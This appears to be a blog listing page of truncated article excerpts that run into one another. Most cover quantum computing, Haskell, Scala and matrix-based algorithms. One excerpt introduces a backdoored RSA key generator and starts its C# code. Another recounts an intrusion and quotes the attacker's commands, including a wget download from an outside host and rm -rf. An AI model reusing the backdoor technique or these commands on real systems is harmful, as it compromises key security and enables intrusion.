### Backdoor in a Public RSA Key

##### Written by Scratch

Hello, %username%! When I saw how it works, say that I was shocked is to say nothing. It's a pretty simple trick, but after reading this article, you will never look at the RSA as before. This is not a way to hijack RSA, but something that will make your paranoia greatly swell. So, imagine that you have access to the generator of an RSA key and you want to give someone the opportunity to get the private key without any factorization and other quantum computers. What we need to do? I'm going to use C#, BouncyCastle and Chaos.NaCl (this library implements Curve25519 ). 1). PRNG We need a PRNG which is initialized with a secret value. I'm going to use AES in CTR mode. using System; using System.ComponentModel; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Parameters; using Org.BouncyCastle.Crypto.Prng; using Org.BouncyCastle.Security; namespace RsaBackdoor.Backdoor { class SeededGenerator:IRandomGenerator { private readonly AesFastEngine _engine = new### Hacked. A Short Story.

##### Written by kay

It all started when I was asked (as a freelancer) to configure exim4 , so that newsletters would not fall into spam folders. They even sent me a link to a tutorial. I thought the work would take a couple of hours, including the DNS update, but I was wrong. After logging in as root , I started my favorite screen by running the screen -x command as usual, and watched a curious scene in the favorite for many of you /dev/shm folder. The attacker either did not bother to close the screen session, or was still working in it. That’s where the quest begins: The first thing I did was looking at the things the attacker was doing: wget http://ravenul.zzl.org/it/noi/up/8.txt mv 8.txt list.txt php lol.php php lol.php netstat -an | grep :22 w rm -rf list.txt w rm -rf .x netstat -an | grep :22 Apparently, he sent### Quantum Circuit Design: Methods and Techniques

##### Written by Roman V. Dushkin

You are most welcome to read another article about quantum computing. Quantum circuit design is the analysis methodology, and a synthesis of quantum circuits that implement some or other algorithms (not only quantum ones). In a generalized sense, any computational process is represented in the form of a three (the input, the process of transformation, the output). Taking into account this consideration, the goals of quantum circuit design are: Forward analysis . Determine the output state, provided that there is an input state and the definition of a computational process. Backward analysis . Determine the input state, provided that there is an output state and the definition of a computational process. Synthesis . Build the definition of a computational process, provided that there are input and output states. Unfortunately, these questions are not really reflected in the literature about quantum computations. But they are extremely important. That's why I am### Automatic Algorithms Optimization via Fast Matrix Exponentiation

##### Written by Alexander Borzunov

Preface Hi! My name is Alexander Borzunov . This article is the translation of my original publication . Sharing my work with English-speaking community and happy to answer all the questions. Suppose we want to calculate a tenth million Fibonacci number with a program in Python. The function using a trivial algorithm will be calculating it for more than 25 minutes on my PC. But if we apply a special optimizing decorator, the function will give you the answer in just 18 seconds. (85 times faster): The thing is that before the program execution Python interpreter compiles all its parts into a special byte-code. Using the method I came across recently, the decorator analyzes the function byte-code and tries to optimize the algorithm applied there. You will see that this optimization can speed up the program not by a factor of n times, but asymptotically . The bigger the### Singularity of the Humanities

##### Written by 2252

Our individual perceptions as well as the collective societal-perceptions are rarely in synch to enable us to love another or to serve one another as we are challenged to do. Over the centuries the humanity and the humanities have struggled to cope with this challenge. While this challenge might seem unsurmountable, it need not remain so for ever. Just as our visual acuity is improvable with the help of the prescription lenses; humanities can achieve singularity with the help of the modern computational tools and systems to enable us to not only understand our individual values but also our collective self worth and purposes so that we may never feel challenged or remain unequal to the existential causes. From the biblical times to the present, we have been taught to separate ourselves from the world with the belief that the separation is an intellectual exercise devoid of connections to### How to Implement Deutsch’s Algorithm in Haskell

##### Written by Roman V. Dushkin

With this article I would like to continue the series of publications about the model of quantum computing . In the previous article I gave a brief introduction about reversibility of computing processes . Dear reader, today I invite you to take a look at one of the simplest quantum algorithms, which shows the increase of efficiency in comparison with classical computing model. I am talking about Deutsch’s algorithm. We are also going to use Haskell to illustrate the approach and the Deutsch’s algorithm itself. We will cover the fundamentals of the model of quantum computing and compare the classical and the quantum implementations of Deutsch’s algorithm. Also, you will finally understand the essence of quantum computations. So if someone is interested in this issue — you're welcome to join the journey. Some History and a bit of Theory In 1985, David Deutsch developed one of the first quantum algorithms.### Using the Quick Raise of Matrices to a Power to Write a Very Fast Interpreter of a Simple Programming Language

##### Written by Alex Skidanov

Hello! My name is Alex Skidanov. Currently I work at MemSQL . I have recently read an article about calculating the Nth Fibonacci number in O(log N) arithmetic operations. But why would we need it in practice? — you may ask. By itself, the calculation N-th Fibonacci number may not be very interesting, but the approach with the matrices used in the article, in practice, can be applied to a much wider range of tasks. In the course of this article we will examine how to write an interpreter that can perform simple operations (assignment, addition, subtraction and truncated multiplication) on a limited number of variables with nested loops with an arbitrary number of iterations in a fraction of a second (of course, if the intermediate values in the calculations will remain in reasonable limits). For example, here is a code passed to the input of an interpreter: loop### A Few Words About Reversible Computing

##### Written by Roman V. Dushkin

Today I would like to raise a topic that has recently become all the more relevant and interesting. At least, judging by all the increasing number of publications in this direction, the interest in it is really growing. I am talking about quantum computing, or, to be more accurate, about a model of quantum computations. Without going into details of the model, let’s take a look at one of numerous questions related to it. We are going to review reversible computing . Further discussion will be held with the use of examples written in Haskell. To my mind, functional programming is much closer to the model of quantum computations than any other type. Let me leave out the reasoning of my point of view. But to understand the model of quantum computations, we need a much more severe paradigm shift, than, say, a shift from structured programming to object-oriented### Quantum Dead End

##### Written by Kukuruku Hub

Several times I was taking part in arguments about the artificial intelligence, I was extremely skeptic. Referring to Heisenberg, I said that the human brain cannot be reproduced, recreated or duplicated. As you might have guessed, the reaction to such statements was always the same: denial. We live in a mechanical world. It happened so that the concept of science and technology as a universal way of solving tasks is one of the key paradigms of the public conscience in the 21st century (at least of the technically educated part of the society). People of mechanical intelligence think that the world is a huge machine/computer/mechanical system, in which any event happens according to some law or algorithm. As a rule, an average techie is far from fundamental science. But we are most likely to think that his mechanical ideas are based on the success of the modern science. In### Double-Typed Relations for Partial Data Representation

##### Written by Arseniy Zhizhelev

In the previous article about constructing types in Scala we’ve reviewed the idea of constructing types that are similar to classes. This allows to separate stored data from meta-information and emphasize representation of entities properties. But the mentioned approach turns out to be quite...

or